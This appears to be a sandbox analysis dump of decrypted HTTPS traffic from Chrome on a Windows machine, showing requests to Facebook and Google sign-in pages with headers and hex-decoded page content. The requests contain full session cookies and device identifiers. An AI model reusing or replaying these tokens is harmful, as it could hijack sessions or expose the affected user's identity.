(forced-colors:active){.VfPpkd-LgbsSe .VfPpkd-J1Ukfc-LhBDec{border-color:CanvasText}}.VfPpkd-LgbsSe .VfPpkd-J1Ukfc-LhBDec::after{content:"";border:2px solid transparent;border-radius:8px;display:block;position:absolute;top:50%;left:50%;transform:tran

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49917	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:04 UTC	859	OUT	GET /login HTTP/1.1 Host: www.facebook.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQM.AWXfYTWBBsg; datr=DGSoZXKoCY8OkV9WMe-nT3iH; wd=1280x907
2024-01-17 23:35:04 UTC	471	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Set-Cookie: fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQo.AWU78CfQ8GM; expires=Tue, 16-Apr-2024 23:35:04 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}
2024-01-17 23:35:04 UTC	2490	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:35:04 UTC	314	IN	Data Raw: 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 31 35 35 35 32 30 30 30 3b 20 70 72 65 6c 6f 61 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 0d 0a 58 2d 46 42 2d 44 65 62 75 67 3a 20 79 2f 2b 63 7a 51 58 36 67 54 70 2f 73 73 42 30 6d 43 74 6a 65 4a 6b 51 54 46 68 74 48 48 2f 33 63 53 2f 30 68 72 6f 6a 4b 31 7a 62 44 56 67 58 6c 6c 62 56 6e 34 4e 64 64 4b 38 74 45 4e 79 41 35 6d 36 6b 48 77 79 37 44 33 68 47 42 30 72 44 74 47 78 37 4c 51 3d 3d 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 37 20 4a 61 6e 20 32 30 32 34 20 32 33 3a 33 35 3a 30 34 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 Data Ascii: Strict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: y/+czQX6gTp/ssB0mCtjeJkQTFhtHH/3cS/0hrojK1zbDVgXllbVn4NddK8tENyA5m6kHwy7D3hGB0rDtGx7LQ==Date: Wed, 17 Jan 2024 23:35:04 GMTTransfer-Encoding: c
2024-01-17 23:35:04 UTC	1225	IN	Data Raw: 33 38 32 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 51 70 71 48 76 61 6a 4f 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: 382b<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="QpqHvajO">function envFlush(a){function b(b){for(var c in a)b[c]=a
2024-01-17 23:35:04 UTC	1500	IN	Data Raw: 3d 22 4c 6f 67 20 69 6e 74 6f 20 46 61 63 65 62 6f 6f 6b 20 74 6f 20 73 74 61 72 74 20 73 68 61 72 69 6e 67 20 61 6e 64 20 63 6f 6e 6e 65 63 74 69 6e 67 20 77 69 74 68 20 79 6f 75 72 20 66 72 69 65 6e 64 73 2c 20 66 61 6d 69 6c 79 2c 20 61 6e 64 20 70 65 6f 70 6c 65 20 79 6f 75 20 6b 6e 6f 77 2e 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 63 65 62 6f 6f 6b 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 Data Ascii: ="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login" /><meta property="og:locale" content
2024-01-17 23:35:04 UTC	1500	IN	Data Raw: 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6e 6f 6e 63 65 3d 22 51 70 71 48 76 61 6a 4f 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 51 70 71 48 76 61 6a 4f 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 34 38 38 33 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 38 31 34 38 35 32 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 34 38 38 31 35 22 3a 7b 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 39 39 36 32 22 3a 7b 22 72 65 73 75 6c 74 Data Ascii: origin="anonymous" nonce="QpqHvajO"></script><script nonce="QpqHvajO">requireLazy(["HasteSupportData"],function(m){m.handle({"clpData":{"1838142":{"r":1,"s":1},"4883":{"r":1,"s":1},"1814852":{"r":1},"1848815":{"r":10000,"s":1}},"gkxData":{"9962":{"result
2024-01-17 23:35:04 UTC	1500	IN	Data Raw: 70 61 74 52 6f 75 74 65 72 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 38 39 35 39 22 2c 5b 22 44 54 53 47 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 44 54 53 47 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 38 39 36 30 22 2c 5b 22 44 54 53 47 5f 41 53 59 4e 43 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 44 54 53 47 5f 41 53 59 4e 43 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 39 36 37 30 33 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 30 38 38 38 36 22 2c 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 22 2c 5b Data Ascii: patRouter",null]},-1],["cr:8959",["DTSG"],{"__rc":["DTSG",null]},-1],["cr:8960",["DTSG_ASYNC"],{"__rc":["DTSG_ASYNC",null]},-1],["cr:696703",[],{"__rc":[null,null]},-1],["cr:708886",["EventProfilerImpl"],{"__rc":["EventProfilerImpl",null]},-1],["cr:135",[
2024-01-17 23:35:04 UTC	1500	IN	Data Raw: 34 66 4c 34 77 4f 22 2c 22 35 58 43 7a 31 68 39 49 61 77 33 22 2c 22 37 72 36 6d 53 50 37 6f 66 72 32 22 2c 22 36 44 47 50 4c 72 52 64 79 74 73 22 2c 22 61 57 78 43 79 69 31 73 45 43 37 22 2c 22 33 73 4b 69 7a 54 51 36 62 79 67 22 2c 22 36 58 73 58 51 32 71 48 77 38 79 22 5d 7d 7d 2c 32 35 38 30 5d 2c 5b 22 49 6e 69 74 69 61 6c 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 22 2c 5b 5d 2c 7b 22 64 65 66 65 72 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 69 6e 69 74 69 61 6c 43 6f 6e 73 65 6e 74 22 3a 5b 31 2c 32 5d 2c 22 6e 6f 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 53 68 6f 77 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 57 61 69 74 46 6f 72 44 65 66 65 72 72 65 64 44 61 74 72 43 6f 6f 6b 69 65 22 Data Ascii: 4fL4wO","5XCz1h9Iaw3","7r6mSP7ofr2","6DGPLrRdyts","aWxCyi1sEC7","3sKizTQ6byg","6XsXQ2qHw8y"]}},2580],["InitialCookieConsent",[],{"deferCookies":false,"initialConsent":[1,2],"noCookies":false,"shouldShowCookieBanner":false,"shouldWaitForDeferredDatrCookie"
2024-01-17 23:35:04 UTC	1500	IN	Data Raw: 22 2c 5b 5d 2c 7b 22 63 5f 75 73 65 72 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 63 70 70 6f 22 3a 7b 22 74 22 3a 38 36 34 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 64 70 72 22 3a 7b 22 74 22 3a 36 30 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 63 69 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 63 73 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 73 74 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 53 74 72 69 63 74 22 7d 2c 22 69 5f 75 73 65 72 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 6c 6f 63 61 6c 65 22 3a 7b 22 74 Data Ascii: ",[],{"c_user":{"t":31536000,"s":"None"},"cppo":{"t":86400,"s":"None"},"dpr":{"t":604800,"s":"None"},"fbl_ci":{"t":31536000,"s":"None"},"fbl_cs":{"t":31536000,"s":"None"},"fbl_st":{"t":31536000,"s":"Strict"},"i_user":{"t":31536000,"s":"None"},"locale":{"t
2024-01-17 23:35:04 UTC	1500	IN	Data Raw: 65 6e 74 61 6c 5f 74 69 65 72 22 3a 66 61 6c 73 65 2c 22 69 73 5f 6a 69 74 5f 77 61 72 6d 65 64 5f 75 70 22 3a 74 72 75 65 2c 22 68 73 69 22 3a 22 37 33 32 35 32 31 34 39 31 37 34 30 31 35 39 32 36 33 32 22 2c 22 73 65 6d 72 5f 68 6f 73 74 5f 62 75 63 6b 65 74 22 3a 22 35 22 2c 22 62 6c 5f 68 61 73 68 5f 76 65 72 73 69 6f 6e 22 3a 32 2c 22 73 6b 69 70 5f 72 64 5f 62 6c 22 3a 74 72 75 65 2c 22 63 6f 6d 65 74 5f 65 6e 76 22 3a 30 2c 22 77 62 6c 6f 6b 73 5f 65 6e 76 22 3a 66 61 6c 73 65 2c 22 65 66 5f 70 61 67 65 22 3a 6e 75 6c 6c 2c 22 63 6f 6d 70 6f 73 65 5f 62 6f 6f 74 6c 6f 61 64 73 22 3a 66 61 6c 73 65 2c 22 73 70 69 6e 22 3a 34 2c 22 5f 5f 73 70 69 6e 5f 72 22 3a 31 30 31 30 38 36 37 35 30 31 2c 22 5f 5f 73 70 69 6e 5f 62 22 3a 22 74 72 75 6e 6b 22 2c Data Ascii: ental_tier":false,"is_jit_warmed_up":true,"hsi":"7325214917401592632","semr_host_bucket":"5","bl_hash_version":2,"skip_rd_bl":true,"comet_env":0,"wbloks_env":false,"ef_page":null,"compose_bootloads":false,"spin":4,"__spin_r":1010867501,"__spin_b":"trunk",
2024-01-17 23:35:04 UTC	1500	IN	Data Raw: 61 69 6c 22 3a 6e 75 6c 6c 2c 22 70 65 72 6d 69 74 74 65 64 5f 62 75 73 69 6e 65 73 73 5f 61 63 63 6f 75 6e 74 5f 74 61 73 6b 5f 69 64 73 22 3a 5b 5d 7d 2c 32 36 35 34 5d 2c 5b 22 4a 53 45 72 72 6f 72 4c 6f 67 67 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 61 70 70 49 64 22 3a 32 35 36 32 38 31 30 34 30 35 35 38 2c 22 65 78 74 72 61 22 3a 5b 5d 2c 22 72 65 70 6f 72 74 49 6e 74 65 72 76 61 6c 22 3a 35 30 2c 22 73 61 6d 70 6c 65 57 65 69 67 68 74 22 3a 6e 75 6c 6c 2c 22 73 61 6d 70 6c 65 57 65 69 67 68 74 4b 65 79 22 3a 22 5f 5f 6a 73 73 65 73 77 22 2c 22 70 72 6f 6a 65 63 74 42 6c 6f 63 6b 6c 69 73 74 22 3a 5b 5d 7d 2c 32 37 37 36 5d 2c 5b 22 44 61 74 61 53 74 6f 72 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 65 78 70 61 6e 64 6f 4b 65 79 22 3a 22 5f 5f Data Ascii: ail":null,"permitted_business_account_task_ids":[]},2654],["JSErrorLoggingConfig",[],{"appId":256281040558,"extra":[],"reportInterval":50,"sampleWeight":null,"sampleWeightKey":"__jssesw","projectBlocklist":[]},2776],["DataStoreConfig",[],{"expandoKey":"__

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49919	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:04 UTC	1642	OUT	GET /_/bscframe HTTP/1.1 Host: accounts.google.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/_/bscframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:W4G8WO2z0KkgbaY-VUevTDJ_XgRMGg:MRkHWpORprI5e3z0; OTZ=7387175_52_52_123900_48_436380

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49920	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:04 UTC	2303	OUT	GET /v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp1c0w5JaOfQYOlZuhQy86GoReFUxlHNL6-vwhawIMLsBG8McXpezbH0g-jF4-w_0KUlWLbG&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1259196525%3A1705534498192643&theme=glif HTTP/1.1 Host: accounts.google.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp1c0w5JaOfQYOlZuhQy86GoReFUxlHNL6-vwhawIMLsBG8McXpezbH0g-jF4-w_0KUlWLbG&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1259196525%3A1705534498192643&theme=glif Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:35:04 UTC	2230	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Set-Cookie: __Host-GAPS=1:cqMdEIe-CJeGW0lUzsGnlYCk7ZYJGA:s9f0GoZX5agsBjME; Expires=Fri, 16-Jan-2026 23:35:04 GMT; Path=/; Secure; HttpOnly; Priority=HIGH x-auto-login: realm=com.google&args=service%3Dyoutube%26continue%3Dhttps://www.youtube.com/signin?action_handle_signin%253Dtrue%2526app%253Ddesktop%2526hl%253Den%2526next%253D%25252Fsignin_passive%2526feature%253Dpassive x-ua-compatible: IE=edge Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:04 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-zU9dHtyYwxH_yMRgVNsDLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /v3/signin/_/AccountsSignInUi/cspreport/allowlist Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Cross-Origin-Resource-Policy: same-site Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:04 UTC	2230	IN	Data Raw: 31 62 32 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 7a 55 39 64 48 74 79 59 77 78 48 5f 79 4d 52 67 56 4e 73 44 4c 77 22 3e 77 69 6e 64 6f 77 2e 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 20 3d 20 7b 22 44 6e 64 4c 59 62 22 3a 22 22 2c 22 44 70 69 6d 47 66 22 3a 66 61 6c 73 65 2c 22 45 50 31 79 Data Ascii: 1b2a<!doctype html><html lang="en" dir="ltr"><head><base href="https://accounts.google.com/v3/signin/"><meta name="referrer" content="origin"><script data-id="_gd" nonce="zU9dHtyYwxH_yMRgVNsDLw">window.WIZ_global_data = {"DndLYb":"","DpimGf":false,"EP1y
2024-01-17 23:35:04 UTC	2230	IN	Data Raw: 73 5f 73 5c 22 2c 5c 22 63 5f 70 73 5f 74 5c 22 2c 5c 22 63 5f 73 74 66 73 5c 22 2c 5c 22 63 5f 73 74 66 77 74 5c 22 2c 5c 22 63 5f 73 74 73 5f 62 5c 22 2c 5c 22 63 5f 73 74 73 5f 74 5c 22 2c 5c 22 63 5f 74 66 73 5c 22 2c 5c 22 63 5f 74 66 77 74 5c 22 2c 5c 22 63 5f 74 73 5f 62 5c 22 2c 5c 22 63 5f 74 73 5f 74 5c 22 2c 5c 22 63 62 66 6c 6f 77 5c 22 2c 5c 22 63 64 5c 22 2c 5c 22 63 68 65 63 6b 43 6f 6e 6e 65 63 74 69 6f 6e 5c 22 2c 5c 22 63 68 65 63 6b 65 64 44 6f 6d 61 69 6e 73 5c 22 2c 5c 22 63 6c 69 65 6e 74 5f 69 64 5c 22 2c 5c 22 63 6f 6c 6f 72 5f 73 63 68 65 6d 65 5c 22 2c 5c 22 63 6f 6e 74 69 6e 75 65 5c 22 2c 5c 22 63 70 62 70 73 5c 22 2c 5c 22 64 6f 6d 61 69 6e 73 5c 22 2c 5c 22 64 73 68 5c 22 2c 5c 22 65 63 5c 22 2c 5c 22 65 6d 72 5c 22 2c 5c 22 Data Ascii: s_s\",\"c_ps_t\",\"c_stfs\",\"c_stfwt\",\"c_sts_b\",\"c_sts_t\",\"c_tfs\",\"c_tfwt\",\"c_ts_b\",\"c_ts_t\",\"cbflow\",\"cd\",\"checkConnection\",\"checkedDomains\",\"client_id\",\"color_scheme\",\"continue\",\"cpbps\",\"domains\",\"dsh\",\"ec\",\"emr\",\"
2024-01-17 23:35:04 UTC	2230	IN	Data Raw: 72 53 69 6f 78 6e 6f 58 4e 59 61 54 34 22 2c 22 72 74 51 43 78 63 22 3a 33 30 30 2c 22 74 52 73 7a 4c 22 3a 22 25 2e 40 2e 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 74 72 75 65 5d 5d 22 2c 22 74 68 79 6b 68 64 22 3a 22 41 46 57 4c 62 44 32 2d 4f 4d 69 49 61 55 45 69 56 46 4e 71 7a 6c 59 50 5f 42 35 58 6d 5a 62 48 47 63 7a 63 75 39 67 57 48 4d 6b 59 78 48 75 4f 5a 74 53 66 2d 5f 54 38 7a 75 69 50 57 70 38 7a 48 7a 61 66 72 2d 5a 67 61 6e 59 48 51 71 63 39 38 35 57 66 34 4a 35 68 51 42 4f 6f 71 6b 2d 6b 62 7a 57 62 4a 66 76 58 61 37 6f 50 61 6b 62 31 35 6c 50 4d 42 38 61 6c 65 6e 67 5a 43 58 38 4e 22 2c 22 75 51 39 4f 68 22 3a 30 2c 22 75 6e 4e 52 4d 62 